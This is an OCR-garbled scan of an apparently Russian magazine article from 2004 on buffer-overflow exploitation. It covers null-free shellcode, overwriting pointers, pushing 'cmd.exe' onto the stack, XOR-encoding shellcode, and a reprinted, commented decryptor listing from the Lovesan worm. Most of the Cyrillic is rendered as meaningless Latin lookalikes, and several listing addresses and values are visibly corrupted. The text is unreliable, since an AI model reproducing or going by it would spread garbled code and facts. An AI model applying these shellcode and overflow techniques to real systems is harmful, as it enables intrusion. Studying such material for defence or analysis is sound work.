K TOMy Xe, ecnu CTeK W Ky4a rapaHTMpOBaHHO COAep-
XaT yKasaTenu B onpeferieHHbIX MecTax v NoaaepXusaioT
6onee uUnn MeHee yHMBEPCanbHble MEXaHn3Mbl 3axBara yn-
paBneHus, TO B CNy4Yae co cTatuyeckumu 6ydepammn ataky-
toLLLeMy OCTaeTCsl HadeaTbCa NULWb Ha ydady. A yaada, Kak
n3BeCTHO, 6aba nopdnas, u nepenosiHeHUs cTaTuyecknx 6y-
(hepoB HOCAT eIMHWYHBIA XapakTep 1 Bcerga passuBaroTcs
Mo YHUKaINbHOMY CLeHapuio, He fonyckarwllemy obobLiar-
Ler Knaccudgmkaumu.

Cexperbl npoextupoBanus shell-kopa

MonbiTka peann3oBatb COBCTBEHHLIM Shell-kog HeMUHYyeMO
HaTanK1BaeT aTakytLLero Ha MHOrOYNCIEHHbIE OrpaHNYeHus,
OfHM 13 KOTOPbIX 06XOAATCS MYTEM XMTPOYMHbIX XaKOB U 13-
BPALLEHWA, C APYrMMU Xe NPUXOANUTCA MUPUTBLCS, BOCTIPUHN-
Mas UX KaK HEOTbEMSIEMYIO YaCTb XECTOKUX CWM NPUPOAbI.
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CtpokoBble nepenonHsoLmecs bydepa (B 0CO6EHHOCTM Te,
YTO OTHOCATCS K KOHCOMbHOMY BBOZY W KraBuatype) Hanara-
0T XECTKMe OrpaHNyeHns Ha acCOPTUMEHT CBOEro COLEepXu-
moro. Camoe HenpuATHOE OrpaHNYeHVe 3aKni4aeTcs B TOM,
YTO CUMBON HYNS HA BCEM NPOTSXKEHUMN CTPOKU MOXET BCTpe-
4aTbCs NULb OAHAXAbl U NULWb HA KOHLE CTPOKM (npaBAa,
370 orpaHuyeHune He pacnpoctpaHsetcs Ha UNICODE-cTpo-
Kun). 91O 3aTpydHseT noarotosky shell-koga v npensatcTeyeTt
BbIGOPY NPOU3BOJIbHBIX LieNieBbIX aapecoB. Ko, He 1cnosb-
3YIOLLMIA HYNeBbIX 6aiT, NPUHATO Ha3biBaTh Zero Free-kogom,
1 TeXHWKa ero NOAroToBKM — HacToswan KamacyTpa.

MckyccTBo 3aTHpaHus afipecos

PaccMoTpum cuTyaumio, Korga cnefom 3a nepenonHsoLmnM-
csl 6ydhepoM maeT yA3BUMbIA yKasaTeslb Ha Bbl3blBAEMYIO
hyHKUMIO (MNK yKasaTensb this), a uHTepecytoLas 3noymbILL-
NeHHnKa yHKLMA root pacnonaraetcs no agpecy 00401000h.
MockonbKy TOMBLKO OAWH CUMBON, 3aTMPAKOLMA yKasaTesb,
MOXET ObITb CYMBOSIOM HYNS, TO HENOCPEACTBEHHAs 3an1cb
TpebyemMoro 3Ha4eHns HEBO3MOXHA, U NPUXOOUTCH XUTPUTb.

HauHem ¢ Toro, 4to B 32-pa3pamHbIx onepaLumoHHbIX CUC-
Temax (K KoTopbIM, B HacTHOCTH, npuHagnexut Windows NT
1 MHorue knoHbl UNIX) cTek, JaHHble 1 kof 60MbLUMHCTBA NpK-
NOXeHW nexat B y3KoM auanasoHe agpecos: 00100000h —
~00x00000h, T.e. Kak MUHUMYM OOMH HOMb Y HAC YXe ecTb —
W 3TO cTapLumni 6anT agpeca. B 3aBUCMMOCTM OT apXUTEKTY-
Pbl MpoLeccopa OH MOXET pacnonararTbes Kak no MnagLmm,
Tak 1 no crapwum agpecam. CemeincTso x86-npoLeccopos
LEPXWT ero B CTapLUMX agpecax, YTo C TOUKU 3peHus aTaky-
tOLLIEro 04YeHb Jaxe XOPOLLO, NOCKOMbKY Mbl MOXEM HaBa3aTb
ySI3BMMOMY NPpUNoXeHuo nboin XxYyZzh-agpec, npu ycno-
BUU, 4TO XX, YY U ZZ He paBHbI HyNIO.

Tenepb OaBanTe paccyxpiatb TBOPYECKM: No3apes Heob-
XxoaumMbin Ham agpec 401000h B npsiMOM BUZe HEJOCTUXMM B
npuHumne. Ho, MOXeT ObITb, HAC YCTPOUT YTO-HUOYOb ApY-
roe? Hanpumep, nodemy 6bl He HayaTb BbIMOSHEHME (DYHK-
LMK He ¢ nepeoro 6anta? MyHKUMM C KNacCU4ecKnm npono-
FOM (KOMX BOKPYT Hac 60MbLUMHCTBO) HAYMHAIOTCS C UHCTPYK-
umm PUSH EBP, coxpaHsitoLlen 3HadeHue permuctpa EBP B
cteke. Ecnu aToro He cgenatb, TO Npy BbIXo4e PyHKUMA He-
MPEMEHHO FPOXHETCA, HO... 3TO YXe 6yOeT He BaXHO (CBOW
MUCCUIO (PYHKLIMA BBINOSHUAA U BCE, YTO ObINIO HYXHO aTaky-
toLLieMy, OHa BbINOMHWNA). XyxXe, ecnu napasuTHbIA CUMBON
Hyns BCTpe4aeTcs B cepeauHe agpeca Unu npucyTcTBYeT B
HeM ABaxAbl, Harnpumep — 50000h.

B HekoTOpbIX Cryyasx NOMOraeTt crnocod Koppekuuu cy-
LecTBYIOWMX agpecoB. JonyctnM, 3aTnpaemMbli yKasartenb
conepxut agpec 5000FAh. Torga, ona OOCTUXEHUA xenae-
MOro pesynbrarta aTakyloLwmii JOfKeH 3aTepeTb OOuH N1Lb
MIafwnii cumBon agpeca, 3aMeHus FAh cMMBOIOM Hyns.

Kak BapmaHT MOXHO nonpo6oBath NoucKaTb B An3accem-
6nepHOM NUCTUHrEe KOMaHZy nepexofa (Bbl30Ba) UHTEPECY-
foLLlei Hac PyHKUMK, — CyLLLEeCTBYeT BEPOATHOCTb, YTO OHa
6yneT pacnonaraTbCsl N0 «NpaBwnbHbIM» afpecam. pu yc-
NOBWUM, YTO Lenesas (PYHKUWS BbI3blBAETCA HE OQHAXAbl U
BbI30BbI CNefytoT U3 pa3nnyHbIX MecT (a 06bI4HO UMEHHO TaK
1 6bIBAET), BEPOATHOCTb, YTO XOTA Obl OAMH U3 aOpecoB HaM
«[10onaeT», BeCbMa BenuvKa.

CHCTEMHBIaAMUHMCTPATOP



CnepyeT TaKkxe yuuTbIBaTb, YTO HEKOTOPbIE (PYHKLMK BBO-
[a He BbIpe3aloT CUMBON MepeBoda KapeTku U3 BBOAMMON
CTPOKM, YeM MPaKTUHECKM MOMHOCTbIO 06€30pYXMBAIOT aTa-
KyloLmx. HernocpefcTBeHHbIN BBOS LeNEBbIX afipecoB cTa-
HOBMWTCH MPaKTUY4ECKM HEBO3MOXHbBIM (HY Y4TO MHTEPECHOro
MOXHO HanTu no agpecy 0AXxYyh?), koppekums cyLlecTBy-
IOLLMX afpeCOB XOTA 1 OCTAETCSH BO3MOXHOW, HO Ha NPaKTUKe
BCTPETUTb NOAXOOALLMA yKa3aTenb KpalHe manoBeposiTHO
(thaKT4eCKM Mbl OrpaHWyeHbl NLLbL 0gHUM agpecom ??000A,
roe 7?7 — npexHee 3HadeHne ya3BUMOro ykasartens). Eguh-
CTBEHHOE, YTO OCTaeTcs — NMOMHOCTLIO 3aTepeTh BCe 4-6anta
ykasartens BMecTe C [ABYMS nocrnegyoommm 3a H1uM Gaira-
mu. Torga Mbl CMOXeM HaBa3aTb YA3BMMOMY MPUNOXEHUIO
ntobon FIXxYyZz, roe Ff > 00h. 310T permoH 06b14HO NpuHag-
NEeXWT Kody onepaLMoHHON cucTeMbl U apavisepaM. C HeHy-
NEBOW BEPOSTHOCTLIO 3€Ch MOXHO HANTU MALLMHHYI0 KOMaH-
Oy, NepepaloLLyto ynpaeneHue no Lenesomy agpecy. B npo-
cTenwem cnyyae 3to CALL agpec/JMP agpec (410 goctaToy-
HO ManoBeposTHO), B 6onee obLuem cnyyae — CALL peructp/
JMP peructp. O6e — gByx6aviToBble komaHgabl (FF Dxu FF Ex
COOTBETCTBEHHO), U B NaMATU Takux MoCnefoBaTenbHOCTEN
coTHu! [MaBHoe, 4T06bI HA MOMEHT BbI30BA 3aTEPTOr0 yKasa-
Tens (a 3HauuT, U Ha MOMEHT nepefadv ynpaBneHns KomaH-
ae CALL perunctp/JMP perucTtp) BbiGpaHHbIN perucTp cogep-
Xan Tpebyembli LleneBoi agpec.

LTaTHble (hYHKLMM KOHCOMbHOMO BBOAA MHTEPMNPETUPYIOT
HEKOTOpPbIE CMMBOJIbI 0COOLIM 06Pa30oM (HanpuMep, CMMBON C
Kogom 008 yganset cMBON, CTOSLLMI Neped KYpCOpoM) U OHU
[censored] ewwe po nonagauuns B yassumbin Bydep. Cnepyet
6bITb FOTOBbIM M K TOMY, YTO atakyemas nporpamma KOHTpo-
NMPYeT KOPPEKTHOCTb MOCTYNAIOLLMX AaHHbIX, OTKMAbIBAs BCE
HETEKCTOBblE CUMBOJIbI UMK (4TO eLle XyXe) NPUBOAMT KX K
BEPXHEMY/HWXHEMY perncTpy. BeposTHOCTb yCrneLlHoW aTaku
(ecnm TonbKo 370 He DoS-aTaka) CTaHOBMTCS MCYe3atoLLEe Mana.

MoproroBka shell-kopa

B Tex cnyyasx, korga nepenoniHaoLWLmnncs CTpoKoBow Bydep
ucnonbayetcs Ana nepegaqmn asonyHoro shell-koga (Hanpwu-
Mep, rofioBbl YepBs), NPo6sieMa HymneBbIX CUMBOSIOB CTOUT
YpesBbl4aiHO OCTPO — HyneBble CUMBOJIbI COOEPXarcs Kak B
MaLUMHHBIX KOMaHZax, Tak M Ha KOHLAax CTPOK, nepeaasae-
MbIX CUCTEMHBIM (PYHKLMAM B KQ4ECTBE OCHOBHOIO aprymeH-
Ta (06bI4HO 3TO «cmd.exe» nnm «/bin/sh»).

Ons usrHaHusa Hynen n3 onepaHaoB MaLUMHHBIX UHCTPYK-
LUMn cnefyeT npuberHyThb K agpecHon apudmeTtuke. Tak, Ha-
npumep, MOV EAX,01h (B8 00 00 00 01) aksmsaneHTHo XOR
EAX,EAX/INC EAX (33 CO 40). lNocnepgHss 3anucb, KCTatu,
Jaxe kopoye. TeKCTOBblE CTPOKM (BMECTE C 3aBepLUatoLLM
Hynem B KOHLE) Takxe MOryT 6biTb chOPMMPOBAHbI HEMOC-
PEACTBEHHO Ha BEpLUMHE CTeKa, Hanpumep:

JmcTuer 3. PasMelleHMe CTPOKOBHX apryMEHTOB Ha CTeke
C [MHaMMYECKO) T'eHepauyelf BaBeplaKmero CHUMBOJNA HYyNs

00000000: 33C0 Xor eax,eax

00000002: 50 push eax

00000003: 682E657865 push  06578652E ;"exe."
00000008: 682E636D64 push  0646D632E ;"dmc."

Kak BapuaHT MOXHO BOCMonb30BaTbesi komaHgon XOR
EAX,EAX/MOV [XXX], EAX, BcTaBnsoLeN 3aBepLuaoLLmi

Ned(17), anpenb 2004
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Hy”b B no3uumio XXX, roe XXX —agpec KoHLa TEKCTOBOMW CTPO-
KW, BBIMVCIIEHHbIV TEM UAW MHBIM CNOCO60M (CM. «B nmomckax
camoro cebs»).

Bonee pagukanbHbIM CPEACTBOM MPELOTBPALLEHNS NOsB-
neHvst Hynen aensetcs wungpoeka shell-koga, B nogaensio-
LemM 6O0JbLUMHCTBE Cry4YaeB CBOAALLAACA K TPMBUASIbHOMY
XOR. OcHOBHyt0 TPYBHOCTb NPEACTABNAET NOUCK NOAXOAALLE-
ro Kro4a LngpoBaHua — HA OAWH LUMGpyeMbIin 6anT He Oon-
XeH obparatbes B cumBon Hyns. Mockonbky, a XOR a == 0,
ansa LmposaHus nogonaeTt Mo6on 6anToBbIA KITOY, He Co-
BMagaoLLmi HU ¢ ogHuM 6anTtom shell-koga. Ecnm xe B shell-
Kofde NpuUCYyTCTBYET MOJHbIA HAbop BCEX BO3MOXHbIX 3HaYe-
Hui ot 00h po FFh, cnegyet yBenuunTb AnNuHY Knto4a go cro-
Ba 1 JBOMHOrO C0Ba, BbIGMpas ee Tak, YToObl HUKAKoW 6anT
HaKnaablBaeMow rammMbl He coBnagas HU C OOQHWUM Lungpye-
MbIM 6aNTOM. A Kak NOCTPOUTb Takyto rammy (Metog nepebo-
pa He npegnaratb)? [a o4eHb NPOCTO — NOACHWUTLIBAEM Hac-
TOTYy Kaxzoro u3 cumeonos shell-koga, otéupaem 4 cuMBO-
na, KOTOpble BCTPEYAKOTCS PEXE BCET0, BhIMUCHIBAEM UX CME-
LLeHMs OTHOCUTENbHO Havana shell-koga B CTONGUK M BblYUC-
nfieM OCTaToK OT fdeneHus Ha 4. BHOBb 3anuckiBaem nony-
YEHHbIE 3HA4YeHUs B CTONOMK, OTOMPas Te, KOTOPbIE B HEM He
BCTpeYaroTcs, — 3T0 1 6yAyT No3uLmMM AaHHOro 6amTa B KIo-
ye. HenoHATHO? He BOMHyMTECH, Cenyvac Bce 3TO pasdepem
Ha KOHKPETHOM NpuMepe.

Honyctum, B Hawlem shell-koge Hanbonee «HU3KOYACTOT-
HbIMW» oKasanuck cumeonbl 69h, ABh, CCh, DDh, BcTpeya-
IOLLIMECS B CNeyoLLMX NO3MLUAX:

JucTuer 4. Tabnuua cMemeHuit Hauboslee «HUBKOYACTOTHHXY
CMMBOJIOB, OTCUMTHBAEMHX OT Hauala mMppyeMoro koma

CUMBOJ CMelleHNsI MOSULMIA BCEX ero BXOXAEeHUN

69h 04h, 17h, 21h

ABh 12h, 1Bh, 1Eh, 1Fh, 27h

CCh 0lh, 15h, 18h, 1Ch, 24h, 26h

DDh 02h, 03h, 06h, 16h, 1%h, 1ah, 1Dh

Mocne Bbl4MCNEHUS OCTaTKa OT AENeHUs Ha 4 Hag KaXKabIM
13 CMELLIEHUN Mbl NOMyYyaeM cnefyoLmnii pag 3HauYeHW:
JucTuer 5. Tabnuua OCTAaTKOB OT HeNeHMs CMelleHuit Ha 4

CUMBOJ OCTaTOK OT [feNleHMsT CMelleHuit nosuumi Ha 4

69h 00h, 03h, 00h
ABh 02h, 03h, 02h, 03h, 03h
CCh 0lh, 01h, 00h, 00h, 0Oh, O02h

DDh 02h, 03h, 02h, 02h, 0lh, 02h, Olh

Mol monyunnu YeTbipe psaa HaHHbIX, NPeacTaBnaoLLmMX
CO60M MO3WLMN HANOXEHUS LLUMAPYEMOro CUMBOMA Ha ram-
My, B KOTOPOW OH o6pallaeTcs B Hyfb, YTO HegomnycTUMo,
NO3TOMY HaM HEOOXOAMMO BINNCATL BCE 3HAYEHUS, KOTOPbIE
HE BCTPEYAOTCH B KaXAOM PAgy OaHHbIX:

JiucTuHr 6. Tabnuua NOZXOAAUMX MOBMULUMI CUMBOJIOB KiNYa B I'aMMe

CUMBOJ NOOXOofAuLMe Nnosuuuy B I'aMMe

69h 01h, 02h
ABh 00h, Olh
CCh 03h
DDh 00h

Tenepb 13 NONYYEHHbIX CMELLEHUI MOXHO cO6paTh ram-
MYy, KOMOWHUPYS UX Takum 06pasoMm, 4ToObl KaxAblh CUM-
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BON BCTpeYasncs B ramme b ogHaxgbl. CMoTpuUTte, cM-
Bon1 DDh moxeT BcTpeyaTbes Tonbko B noduuuu 00h, cum-
Bon CCh —Tonbko B no3uuun 03h, a aBa ocTanbHbIX CUMBO-
na — B N060N U3 OCTaBLUMXCA No3numniAi. To ecTb 3TO byadeT
nm6o DDh ABh 69h CCh, nu6o DD 69h ABh 69h. Ecnu xe
rammy cobpaTtb He yOoaeTcsi — Heo6XoAMMO YBENUYUTL ee
AvHY. PasymeeTcs, BbIMOMHATL BCE pacyeTbl BPYYHYHO CO-
BEPLUEHHO Heobs3aTeNlbHO, 1 3Ty paboTy MOXHO nepeno-
XUTb Ha KOMMbIOTEP.

EcTecTBeHHO, Nepep nepefayent ynpaenieHns Ha 3aLumd-
pOBaHHbIA KO OH [OMXeH ObiTb B 0693aTeNIbHOM Mopsigke
paclumpoBaH. 3Ta 3afada Bo3naraetcs Ha paclumpoBLUMK,
K KOTOPOMY MpedbsBASOTCS cnegyowme TpeboBaHus: OH
JOMKEH ObITb:

a) Mo BO3MOXHOCTU KOMMAKTHbIM;

6) NMO3MLIMOHHO HE3ABMCUMBIM (T.€. MOSIHOCTbLIO Nepemella-
eMbIM);

B) He cogepxaTb B ce6e CUMBOJIOB HyIS.

B uactHocTu, yepBb Love San nocTtynaet Tak:

JucTurr 7. PacumppoBumk shell-xoma,
Love San

BHEPaHHHM M3 BuUpyca

.data:0040458B EB 19 jmp short loc_ 40456
.data:0040458B ; spmece ME NpHraeM B CepeAMHy Koma,
.data:0040458B ; urobm morToM coBepumTh CALL Hasag
.data:0040458B; (CALL Bnepesn COAEPXMT BaNpelieHHEE CHMBOJB HYNs)
.data:0040458D

CODE XREF: sub 40458D+19ip

.data:0040458D sub 40458Dproc near;

.data:0040458D

.data:0040458D 5E pop esi ; ESI := 4045ABh

; BHTaNKMBaeM M3 CTeKa afpeC BOSBpaTa, [OMENEHHEN TyAa

; koMaHgoit CALL

.data:0040458D

; BTO HeOBXOmMMO ANIsI ONMpEefeNIeHUsI CBOET'O MECTONONIOKEHMS B MNaMsITH
.data:0040458D

.data:0040458D ;

.data:0040458E 31 C9 Xor

ecx, ecx
.data:0040458E ; obuynseM permcrp ECX
.data:0040458E ;

.data:00404590 81 E9 89 FF FF sub ecx, -77h

.data:00404590 ; yeemumsaeM ECX Ha 77h (yMeHewaeM ECX Ha -77h)
; KoMBumaumst XOR ECX,ECX/SUB ECX, -77h sxeusanentHa MOV ECX, 77h
.data:00404590

; Ba TeM MCKIKYEHMEM, YTO €e MAlMHHOe NMpefiCTaBleHuEe He CONEPHIT
; B cebe Hynei

.data:00404590

.data:00404590

.data:00404596

.data:00404596 loc 404596: ; CODE XREF: sub 40458D+15:j
.data:00404596 81 36 80 BF 32 xor dword ptr [esi], 9432BF80h
; pacumppoBHBaEeM OuepefHOe HABOMHOE CJOBO CHeuMalbHO

; NOAOBPaHHOM I'aMMOM

.data:00404596

.data:00404596 ;

.data:0040459C 81 EE FC FF FF sub esi, -4h

; yBemumBaeM ESI Ha 4h (nepexommM K ClefyimeMy SBOVHOMY CJIOBY)
.data:0040459C

.data:0040459C ;

.data:004045A2 E2 F2 loop loc_404596
.data:00404532 ; MoraeM LMKJI, NOKa €CTh YTO pacuMbpoBHBATH
.data:00404532 ;

.data:004045A4 EB 05 jmp short loc_4045AB

; nepefaeM ympaBileHue pacumppoBaHHoMy shell-xomy
.data:004045A4

.data: 00404524 ;

.data:004045A6 loc_4045A6: ; CODE XREF: .data:0040458Btj
.data:004045A6 E8 E2 FF FF FF call sub 40458D

; IpHraeM Hasaj, 3abpachBasl afjpec BosBpara (a 5To - ampec
; CNepywliei BHIOJHSAEMOJ MHCTPYKUMM) Ha BepUMHY CTeKa, [ocie
; 4ero BHTaNkuBaeM ero B perucTp ESI, uTO 3KBUBANEHTHO

; MOV ESI, EIP, HO TakOl MaUMHHOM KOMaHAH B sI3HKEe

; %86 mpoueccopoB HeT

.data:00404546

.data:004045A6

.data:00404546
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.data:004045A6
.data:00404526 ;
.data:004045AB ; Havano pacumMppoBaHHOTO TeKCTa

Buyepa 6binu 6onblune, HO NO NATD...

Wiu pa3mep T10XKe UmMeer 3HayeHue!

Mo cTtatucTuke rabaputbl NogaBnAOLLEro 60bLUMHCTBA Me-
penonHaLWwmxcs 6ydepoB COCTaBNAOT 8 6anT. 3HaUUTENb-
HO pexe nepenonHaTca bydepa, BMeLLatoLLme B ceds oT 16
po 128 (512) 6aiit, a 6ydepoB 60MbLUMX Pa3MEPOB B XWUBON
npupome NpakTU4eckun He BCTpeYaeTcs.

3aknagbiBasich Ha XyALniA U3 BO3MOXHbIX BapyaHToB (a B
60eBON 06CTaHOBKE aTakyWLLUM NPUXOQUTCA OeiCcTBOBATb
MMEHHO TaK!), yunTeCh BbDKMBATL JaXe B XEeCTOYaMLLMUX YCro-
BUAIX OKpY>XatoLwen cpelbl C MUHUMYMOM MWLM, BOObl U KUC-
nopoga. B kpoLleyHbIh 06beM nepenosnHstoLLerocs 6ygepa
MOXHO BMECTWUTb O4eHb MHOIOE, €CIn NMOAXOAUTb KO BCSKO-
My Oeny TBOPYECKM 1 gyMaTb rOfIOBON.

MepBoe (M camoe NMPOCTOE), YTO MPULLIIO HALLMM XaKepc-
KWM MpefKam B rofioBy — 370 pa3buTb atakyoLLyto nporpam-
MY Ha [Be HepaBHblE YacTV — KOMMNAKTHYIO rofoBY W MPOTSX-
HbIA XBOCT. [onoBa obecneynBaeT cregyoLine QyHKUNK:
nepenosiHeHue 6ydepa, 3axsar yrnpasneHus 1 3arpysKy Xso-
cTa. [onoBa MOXET HEeCTU OBOWYHbIA KOO, HO MOXET 06X0-
ONTbCA U 6€3 Hero, OCYLLEeCTBAAS BCIO OMBEPCUOHHYIO desl-
TENbHOCTb pyKamy YA3BMMOW Mporpammbl. [JeicTBUTENBHO,
MHOr1e nporpamMmbl cogepxar 60sbLIOE KONMYECTBO CIyXe6-
HbIX (OYHKLMI, JaOLLMX NOMHbIA KOHTPOMb HA CUCTEMON 1NN,
Ha XyOoW KOHeL, NO3BONSAT BbIBECTU Ce651 U3 CTPOS U MOWTK
B ynpaensieMbin pas3Hoc. VckaxeHre ogHON NN HECKOMbKMX
KPUTMYECKUX S4eeK NMporpaMMbl BEAET K ee HeEMeLIeHHOMY
O6PYLLEHMIO, 1 KONIMHYECTBO MCKAXEHHbIX A4YEEK HAYMHAET pa-
CTW KaK CHEXHbI KOM. Yepes3 AfIMHHYI0 UM KOPOTKYIO Lie-
MOYKY NMPUYNHHO-CNEACTBEHHBIX COOLITUI B KITIOYEBbIE A4en-
KM NporpamMbl NonagaroT 3Ha4eHNs, HeO6XOANMbIE 3M0YMbILLI-
NeHHUKY. MNpryyanvebIn y30p MyCOpHbIX 6aiT BHE3AMNHO CKNa-
AblBaeTCA B 3aKOHYEHHYI0 KOMOMHALMIO, 3aMOK FMyX0 Luen-
KaeT 1 gsepubl cenda MEANEHHO PackpbIBAOTCS. ITO NOXO-
Xe Ha LaxmMaTHylo rofoBOSIOMKY C NMocTaHoBKoW maTa B N
XO[I0B, NPUYEM COCTOSIHWE GOSIbLLUMHCTBA NOJIEN HEU3BECTHO,
MOSTOMY CMOXHOCTb 3ada4u 6bICTPO pacTeT C YBeNn4eHneM
rny6uHbl N.

KOHKpeTHble NpuMepbl rofIoBOIOMOK NPUBECTW CROXHO,
T.K. JaXe NpoCTeNLLIMe U3 HUX 3aHUMAIOT HECKOMbKO CTpaHuL
ybopUCTOro TekCTa (B NPOTUBHOM Xe CIly4ae AUCTUHIM BbIr-
NARAT CIULLKOM UCKYCCTBEHHO, @ peLleHve NexuT 6ykeanb-
HO Ha NOBEPXHOCTH). MHTEpecyoLLMeCs MOTYT 06paTuTLCS K
Kogy uyepss Slapper, 0o cvx nop ocTatoLLemMycs HenpeB3ou-
AEHHbIM SKBUIMOPUCTOM MO ry6uHE ataku 1 AeTanbHo npo-
aHanu3“poBaHHbLIM crieumanucTaMu komnasum Symantec, ot-
YET KOTOPbIX MOXHO HaWTW Ha WX xe cante (cMm. «An Analysis
of the Slapper Worm Exploit»).

Bnpoyem, atakv nofo6HOro TMNa CKopee OTHOCATCS K 3K-
30TUKE WHTENNEKTYallbHbIX Pa3BfeYeHU, Yem K npakTmyec-
KWM npueMam BTOPXEHWS B CUCTEMY M NMOTOMY Ype3BblYaiHO
Mano pacnpocTpaHeHbl. B nnaHe Bo3BpalleHus K cpeacTeam
TPagULMOHHOW «MaHyanbHOW Tepanuu», OTMETUM, YTO €Ciin
pasmep nepenonHsatoLLerocs 6yepa paseH 8 6anTam, oTCio-
[la elle He cnepyeT, 4to M anuHa shell-koga gomkHa 6bITh
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paBHa TeM xe 8 6anTam. Begb 3TO Xe nepenonHALWmnics
6ydbep! Ho He cTomT 6pocatbes 1 B Apyryto KpaHOCTb, Hafe-
ATbCA, 4TO NPeaenbHO JonycTumas anvHa shell-koga okaxer-
CSl NPaKTUYecKn HeorpaHnyeHHon. ModasnsioLee 60SbLLINH-
CTBO YA3BUMbIX MPUSIOXEHWIA COOEpXaT HECKONbKO YPOBHEN
NPOBEPOK KOPPEKTHOCTM NONb30BAaTENbCKOro BBOAA, KOTOPbIE
6yoy4n gaxe He COBCEM NPaBUNbHO peanvu3oBaHHbIMK, BCe-
Taku HanarawT onpefgesieHHble, Nogyac BecbMa XecTKue,
OrpaHunyeHns Ha araky.

Ecnu B KyubIn 06beM nepenosHstoLLerocs 6ydepa BMec-
TWUTb 3arpy34MK HUKaK He yaaeTcs, aTakyloLlwmii NepexoguT K
nnaHy «B», 3aknoyatoLLleMycs B NMOUCKe anbTepHaTUBHbIX
cnocoboB nepefayu shell-koga. fonycTum, ogHO U3 nonewn
MOMb30BaTENbCKOro NakeTa AaHHbIX JOMnycKaeT nepenosHe-
HWe, NpuBoAsLLee K 3axBaTy ynpaBneHus, HO ero pasmep
karacTpogmyeckn mMan. Ho Befib ocTanbHble Mosis TOXe Co-
Jepxarcs B onepaTusHoi namsaTu! Tak noyemy 6bl He UCNOSb-
30Batb Mx Ans nepegadqun shell-koga? MNepenonHaowmnes
6ydep, BO3OENCTBYS Ha CUCTEMY TEM WM UHbIM 06pPa3oM,
[OSDKeH nepefdathb ynpas/ieHWe He Ha CBOE Havaro, a Ha nep-
BbIn 6anT shell-koga, ecnu, KOHEYHO, aTakyLmMiA 3HaeT OT-
HOCUTESbHBIA UM abCOMIOTHBLIN afpec nocnefHero B nams-
Tw. [TocKonbKy NpocTenuMin cnocob nepefadn ynpasneHus
Ha aBToMaTuyeckue 6ycepa CBOOMTCH K MHCTPYKLMU
JMP ESP, 10 Hanbonee BbirogHo BHegpsTb shell-kog B Te
6ydhepa, KOTopble pacrnonoXeHbl B HEMOCPELCTBEHHON 6nu-
30CTW OT BEPLUMHbI CTeKa, B MPOTUBHOM Cny4ae cuTyauus
PUCKYeT CaMOMNpPOU3BOSLHO BLIATW U3 MOA KOHTPONA W Ans
cosfaHus HagexHo paboTawowero shell-koga artakyiowemy
npuaetca nonotetb. Co6CTBEHHO roBops, shell-kog MoxeT
HaxoOuTbCA B CAMbIX HEOXMAAHHbLIX MEeCTax, HanpuMep, B XBO-
cte nocnegHero TCP-nakeTa (B nogasnstoLem 60bLUMHCTBE
Cry4aeB OH nonagaeT B agpecHoe NPOCTPaHCTBO YS3BMMOro
npouecca, NpuyeM 3a4acTylo pacnonaraeTcs no 6onee unm
MeHee npedckasyemMblM agpecam).

B 60nee cnoxHblx cny4yasx shell-kon MoxeT 6bITb nepe-
[aH OTOeNbHbIM CeaHCOM, — 37I0YMbILLUNEHHWUK CO3AaeT He-
CKONbKO MOAKMIOYEHWA K cepBepy, MO OOHOMY nepegaetcs
shell-kog (6e3 nepenonHeHns, HO B TeX NOAsX, pa3mep KoTo-
pbIX JOCTAaTOYEH AN ero BMeLleHus), a Apyromy —3anpoc,
BbI3bIBAIOLLMIA NEPENONHEHUE U NEPealoLLMIA yrpaBieHue Ha
shell-kog. [deno B TOM, YTO B MHOMOMOTO4HbLIX MPUIIOXEHUAX
nokarbHble CTEKM BCEX MOTOKOB pacrnonaraloTcs B eQMHOM
afpecHOM NpoCcTpaHCTBe npoLecca v 1x agpeca HasHavaroT-
CSl He XaOoTW4YHbIM, & CTPOro ynopsifo4eHHbIM 06pasoM. Mpu
YCMIOBUW, YTO MeXZy ABYMs NocnegHMMMU NOOKHEHUMU,
YCTaHOBNEHHbIMM 3MI0YMbILLIIEHHUKOM, K CEpBepY He NOAKII0-
YMNCH KTO-TO eLle, «Tpac-noTO4HOE» OnpefdeneHne anpecos
npeacTasnseT Cob0M XOTb Y CMOXHYI0, HO BMOMHE paspeLuu-
MyI0 Mpobnemy.

B nouckax camoro cebs

Mpegnonoxum, yto shell-kog HageneH co3HaHWEM (XOTS 3TO
1 He TaK). YTo 6bl Mbl OLLYTWIM, OKA3aBLUMCh HA ero mecTe?
MNpepncTasbTe cebe, YTO Bbl AMBEPCAHT-0ECAHTHUK KOTOPOro
BbI6pacChIBAIOT Kyfa-To B NycToTy. Bac okpyxaeT Bpaxpne6-
Has Tepputopust U ewe TemHoTa. [oe BbI? B kakom mecTte
npu3emnunancb? PekorHocumpoBka Ha MeCTHOCTU (narT.
recognoscere [paccMaTtpuBath] — pa3BefKa C Liefiblo nony4ye-
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HUA CBELEHUA O PacnONOXEeHUN NMPOTUBHMKA, €ero OrHeBbIX
CPeAcTBax, 0COBEHHOCTAX MECTHOCTW, FAe npegnonaratTcs
60eBble OeVCTBMSA, W T. M. NPOBOAMMAS KOMaHAMpaMu unm
ohmuepamm Wwraba nepes Ha4anom 60eBbIX OEACTBUIA) 1 6y-
[eT BaLlen nepeBon 3apayen (a ecnv Bac 3aHeceT B 60110TO,
TO 1 MOCIEeAHEN TOXE).

CooTBeTCTBEHHO, NepBon 3adaden shell-koga aensaetcs
onpegeneHve CBOEro MeCTOMOMNOXEHUs B NAMATA UMK CTPO-
ro roBops, TEKYLLEro 3HaYeHWs perncTpa ykasatens komaHa
(B, 4acTHocTK, B Xx86-npoueccopax 3To peructp EIP).

Cratnyeckue 6ydepa, pacnosioKeHHbIE B CEKLMMN LaHHbIX,
pacnonaratotcsa no 6onee M MeHee npeackasyembiM agpe-
caMm, Nerko BbIfBSAEMbIX AU3acceMOnMpoBaHneM ysa3BUMO-
ro npunoxeHus. OgHaKo OHW Ype3BblYaiHO YyBCTBUTENbHbI
K BEPCUM aTaKyeMoro NPUoXeHUs W B MEHbLLUEN CTeneHn —
K MOZenM onepaunoHHON CUCTEMbI (pa3nnyHble onepaLymoH-
Hble CUCTEMbI UMEKOT HEOAMHAKOBbIA HUXHWA agpec 3arpys-
Kv NPUNoXeHui). duHammnyeckmne 6ubnnotexkn B 60NbLLMHCTBE
CBOEM nepeMeLlaemMbl U MOryT 3arpyXaTtbCs B Namatb Mo
pasnuyHbIM 6a30BbIM afpecam, XOTs NpyU CTaTUYECKON KOM-
MOHOBKE KaX[bl KOHKPETHbLIN HA60P AUHAMUYECKMX BUONNO-
TEeK BCErfa 3arpy>xaetcsi OqHUM U TeM Xe obpa3oM. ABToMa-
